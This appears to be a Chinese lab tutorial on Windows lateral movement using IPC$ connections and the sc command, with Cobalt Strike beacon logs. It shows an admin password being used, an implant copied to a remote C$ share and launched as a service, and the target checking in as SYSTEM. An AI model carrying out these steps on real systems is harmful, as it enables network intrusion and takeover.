

IPC配合系统服务横向移动

SC命令详解

获取到密码并着手横向时，却发现Task Sheduler服务没有启用。这时候我们就可以远程建立服务，然后再启用服务来运行我们想要运行的命令。

描述:SC 是用来与服务控制管理器和服务进行通信的命令行程序。

用法:sc <server> [command] [service name] <option1> <option2>...

<server> 选项的格式为 "\\ServerName"可通过键入以下命令获取有关命令的更多帮助: "sc [command]"

命令:

query-----查询服务的状态，或枚举服务类型的状态。

queryex-----查询服务的扩展状态，或枚举服务类型的状态。

start-----启动服务。

pause-----向服务发送 PAUSE 控制请求。

interrogate-----向服务发送 INTERROGATE 控制请求。

continue-----向服务发送 CONTINUE 控制请求。

stop-----向服务发送 STOP 请求。

config-----更改服务的配置(永久)。

description-----更改服务的描述。

failure-----更改失败时服务执行的操作。

failureflag-----更改服务的失败操作标志。

sidtype-----更改服务的服务 SID 类型。

privs-----更改服务的所需特权。

managedaccount--更改服务以将服务帐户密码标记为由 LSA 管理。

qc-----查询服务的配置信息。

qdescription-----查询服务的描述。

qfailure-----查询失败时服务执行的操作。

qfailureflag-----查询服务的失败操作标志。

qsidtype-----查询服务的服务 SID 类型。

qprivs-----查询服务的所需特权。

qtriggerinfo-----查询服务的触发器参数。

qpreferrednode--查询服务的首选 NUMA 节点。

qmanagedaccount-查询服务是否将帐户与 LSA 管理的密码结合使用。

qprotection-----查询服务的进程保护级别。

quserservice-----查询用户服务模板的本地实例。

delete -----(从注册表中)删除服务。

create-----创建服务(并将其添加到注册表中)。

control-----向服务发送控制。

sdshow-----显示服务的安全描述符。

sdset-----设置服务的安全描述符。

showsid-----显示与任意名称对应的服务 SID 字符串。

triggerinfo-----配置服务的触发器参数。

preferrednode---设置服务的首选 NUMA 节点。

GetDisplayName--获取服务的 DisplayName。

GetKeyName-----获取服务的 ServiceKeyName。

EnumDepend-----枚举服务依赖关系。

使用sc横向

IPC建立连接

```
net use \\192.168.41.40\ipc$ "Admin@123" /user:administrator
```

```
beacon> shell net use \\192.168.41.40\ipc$ "Admin@123" /user:pc-web\administrator
[*] Tasked beacon to run: net use \\192.168.41.40\ipc$ "Admin@123" /user:pc-web\administrator
[+] host called home, sent: 98 bytes
[+] received output:
命令成功完成。
```

```
beacon> net use
[-] net error: argument 'use' is not a net command
beacon> shell net use
[*] Tasked beacon to run: net use
[+] host called home, sent: 38 bytes
[+] received output:
会记录新的网络连接。
```

状态	本地	远程	网络
OK		\\192.168.41.40\ipc\$	Microsoft Windows Network

命令成功完成。

复制文件

```
copy C:\Users\Administrator\Desktop\wanli.exe \\192.168.41.40\C$
```

```
beacon> shell copy C:\Users\Administrator\Desktop\wanli.exe \\192.168.41.40\C$
[*] Tasked beacon to run: copy C:\Users\Administrator\Desktop\wanli.exe \\192.168.41.40\C$
[+] host called home, sent: 95 bytes
[+] received output:
已复制      1 个文件。
```

创建服务

```
sc \\192.168.41.40 create test binpath= "cmd.exe /c c:\wanli.exe"
```

```
beacon> shell sc \\192.168.41.40 create test binpath= "cmd.exe /c c:\wanli.exe"
[*] Tasked beacon to run: sc \\192.168.41.40 create test binpath= "cmd.exe /c c:\wanli.exe"
[+] host called home, sent: 96 bytes
[+] received output:
[SC] CreateService 成功
```

开启服务

```
sc \\192.168.17.138 start test
```

```
beacon> shell sc \\192.168.41.40 start test
[*] Tasked beacon to run: sc \\192.168.41.40 start test
[+] host called home, sent: 60 bytes
[+] received output:
[SC] StartService 失败 1053:
```




服务没有及时响应启动或控制请求。

删除服务

```
sc \\192.168.17.138 delete test
```

上线机器

Cobalt Strike 视图 攻击 报告 帮助 OLa-Tools

external	internal	listener	user	computer	note	process	pid	arch	last
	192.168.41.20	hack	Administrator *	WANLI-PC		powershell.exe	3316	x86	82ms
	192.168.41.20	hack	SYSTEM *	WANLI-PC		rundll32.exe	3964	x86	4ms
	192.168.41.40	hack	SYSTEM *	PC-WEB		wanli.exe	2544	x86	33s